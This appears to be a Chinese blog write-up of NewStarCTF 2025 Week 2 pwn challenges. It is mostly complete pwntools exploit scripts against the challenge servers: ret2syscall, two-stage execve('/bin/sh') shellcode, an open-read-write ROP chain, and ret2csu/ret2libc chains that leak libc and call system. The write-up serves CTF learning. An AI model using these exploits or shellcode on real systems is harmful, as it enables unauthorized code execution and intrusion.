NewStarCTF2025-Week2-Pwn

目录

1、Syscall

2、刻在栈里的秘密

3、input_small_function

[4、no shell](#4、no shell)

5、calc_beta


1、Syscall

程序是静态链接的,就是打32位的ret2syscall

没有/bin/sh,我们系统调用read写入,然后再系统调用execve

Exp:

python 复制代码
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

elf = ELF('./pwn')

io = remote('8.147.134.121',20659)

#io=process('./pwn')

offset = 22

pop_eax = 0x080b438a

pop_ebx = 0x08049022

pop_ecx = 0x0804985a

pop_edx = 0x0804985c

int_0x80 = 0x08073a00

bss_addr = elf.bss()

read_addr = elf.symbols['read']

payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx)+p32(0x20)+p32(pop_ecx)+p32(bss_addr)+p32(pop_ebx)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_ebx)+p32(bss_addr)+p32(int_0x80)

io.sendlineafter("pwn it guys!\n",payload)

io.sendline('/bin/sh\x00')

io.interactive()

2、刻在栈里的秘密

利用FSB泄露栈上的内容

3、input_small_function

输入内容会被当做函数执行

Shellcode长度受限,我们二次读入即可

Exp:

python 复制代码
from pwn import *

context(arch='amd64', os='linux', log_level='debug')



HOST = '47.94.87.199'

PORT = 22583



io = remote(HOST, PORT)



# stage1: small read-then-jmp stub (<= 20 bytes)

stage1 = asm("""

    xor rax, rax

    xor rdi, rdi

    mov esi, 0x00114514

    mov edx, 0x100

    syscall

    jmp rsi

""")

assert len(stage1) <= 0x14

print("stage1 len:", len(stage1))



# stage2: full execve("/bin/sh", ["/bin/sh", NULL], NULL)

stage2 = asm("""

    xor rax, rax

    movabs rbx, 0x0068732f6e69622f   /* "/bin/sh\x00" */

    push rbx

    mov rdi, rsp

    xor rsi, rsi

    push rsi

    push rdi

    mov rsi, rsp

    xor rdx, rdx

    mov al, 59

    syscall

""")

print("stage2 len:", len(stage2))



io.recvuntil(b"please input a small function (also after compile)\n")



io.send(stage1) 

sleep(0.05)

io.send(stage2)

io.interactive()

4、no shell

禁用了 execve

存在栈溢出,打orw

注意到一个比较奇怪的gadget,会将返回值复制到rdi

说几个需要注意的点吧,一个是新开的flag文件fd好像不是3

在本地直接给3可以打通,远程有点问题,因此借助上面提到的gadget

其次,文件名叫flag,不要被伪代码里的flag.txt误导了

Exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./pwn')

io = remote('47.94.87.199',30724)

io.sendlineafter('Do you want to say something?','y')

io.sendlineafter('leave or capture the flag?','2')

io.sendlineafter('your choice:','2')

io.sendlineafter('your choice:','1')

offset = 0x20 + 8

bss_addr = elf.bss()

pop_rdi = 0x4013f3

pop_rsi = 0x4013f5

pop_rdx = 0x4013f7

mov_rdi_rax_ret = 0x4013f9

open_plt  = elf.plt['open']

read_plt  = elf.plt['read']

write_plt = elf.plt['write']

payload = b'A' * offset

payload += p64(pop_rdi) + p64(0)

payload += p64(pop_rsi) + p64(bss_addr)

payload += p64(pop_rdx) + p64(0x20)

payload += p64(read_plt)

payload += p64(pop_rdi) + p64(bss_addr)

payload += p64(pop_rsi) + p64(0)

payload += p64(open_plt)

payload += p64(mov_rdi_rax_ret)

payload += p64(pop_rsi) + p64(bss_addr)

payload += p64(pop_rdx) + p64(0x50)

payload += p64(read_plt)

payload += p64(pop_rdi) + p64(1)

payload += p64(pop_rsi) + p64(bss_addr)

payload += p64(pop_rdx) + p64(0x50)

payload += p64(write_plt)

io.sendlineafter('say something:', payload)

io.send(b"flag\x00")

io.interactive()

5、calc_beta

edit_numbers函数内存在越界写

当v3=0时,result = a1 -- 8

这个位置正好是edit_numbers函数的返回地址

因为gadget里面控制不了rdx,考虑打ret2csu

这里call的是r12,r13、r14、r15对应rdi、rsi、rdx

Exp:

python 复制代码
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process('./calc')

io = remote('8.147.132.32',16814)

elf = ELF('./calc')

#gdb.attach(io)

#pause()

write_plt = elf.plt['write']

write_got = elf.got['write']

read_plt = elf.plt['read']

main_addr = 0x4010B4

pop_rdi = 0x401253

ret_addr = 0x4006b6

csu1 = 0x40124A

csu2 = 0x401230

def edit(idx,num):

    io.sendlineafter('>','2')

    io.sendlineafter('>',str(idx))

    io.sendlineafter('>',str(num))

edit(1,0) #rbx=0

edit(2,1) #rbp=1

edit(3,write_got) #r12

edit(4,1) #r13=rdi

edit(5,write_got) #r14=rsi

edit(6,8) #r15=rdx

edit(7,csu2)

edit(8,1) # pop padding

edit(9,1)

edit(10,1)

edit(11,1)

edit(12,1)

edit(13,1)

edit(14,1)

edit(15,main_addr)

edit(0,csu1)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

print(hex(write_addr))

libc = ELF('./libc.so.6')

libc_base = write_addr - libc.symbols['write']

system_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + next(libc.search('/bin/sh'))

edit(1,bin_sh_addr)

edit(2,ret_addr)

edit(3,system_addr)

edit(0,pop_rdi)

io.interactive()

其实我们还是可以控制rdx

注意到getnum函数内的read默认读取字节为0x90

完全够用了

Leak libc后返回到main函数就可以再次利用那个越界写的漏洞

Exp2:直接打ret2libc

python 复制代码
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('8.147.132.32',16814)

elf = ELF('./pwn')

io.sendlineafter('>','2')

io.sendlineafter('>','0')

io.sendlineafter('>',str(0x40092a))

#gdb.attach(io)

#pause()

write_plt = elf.plt['write']

write_got = elf.got['write']

read_plt = elf.plt['read']

main_addr = 0x4010B4

pop_rdi = 0x401253

pop_rsi_r15 = 0x401251

ret_addr = 0x4006b6

bss_addr = elf.bss()

payload = p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(ret_addr) + p64(main_addr)

io.sendline(payload)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

print(hex(write_addr))

libc = ELF('./libc.so.6')

libc_base = write_addr - libc.symbols['write']

system_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + next(libc.search('/bin/sh'))

io.sendlineafter('>','2')

io.sendlineafter('>','0')

io.sendlineafter('>',str(0x40092a))

payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)

io.sendline(payload)

io.interactive()
相关推荐
vibecoding日记2 小时前
双非如何快速入职字节等大厂大模型?真实案例分析:推理优化和投机解码
算法·求职·大模型工程师
yszaygr21384 小时前
Verilog参数化游程编码RLE模块
算法
望易4 小时前
刚设计的大模型架构-双域耦合认知框架
算法·架构
复杂网络8 小时前
多个 Claude Code 与多个 Codex 协同工作:设计与实现方案
算法
tntxia10 小时前
网络安全漏洞修复(一)
安全
HjhIron1 天前
面试常客:字符串算法从入门到进阶
算法·面试
吴佳浩1 天前
DeepSeek DSpark:Confidence-Scheduled Speculative Decoding 技术解析
人工智能·算法·deepseek
触底反弹1 天前
🧠 搞懂 Token,才算真正入门大模型——从分词原理到 Embedding 语义实战
javascript·人工智能·算法
vivo互联网技术1 天前
ICLR 2026 | 基于后验采样的图像恢复方法LearnIR:人脸去阴影、去雾
人工智能·算法·aigc
浮生望1 天前
JS字符串与回文算法:从包装类到双指针的面试进阶之路
javascript·算法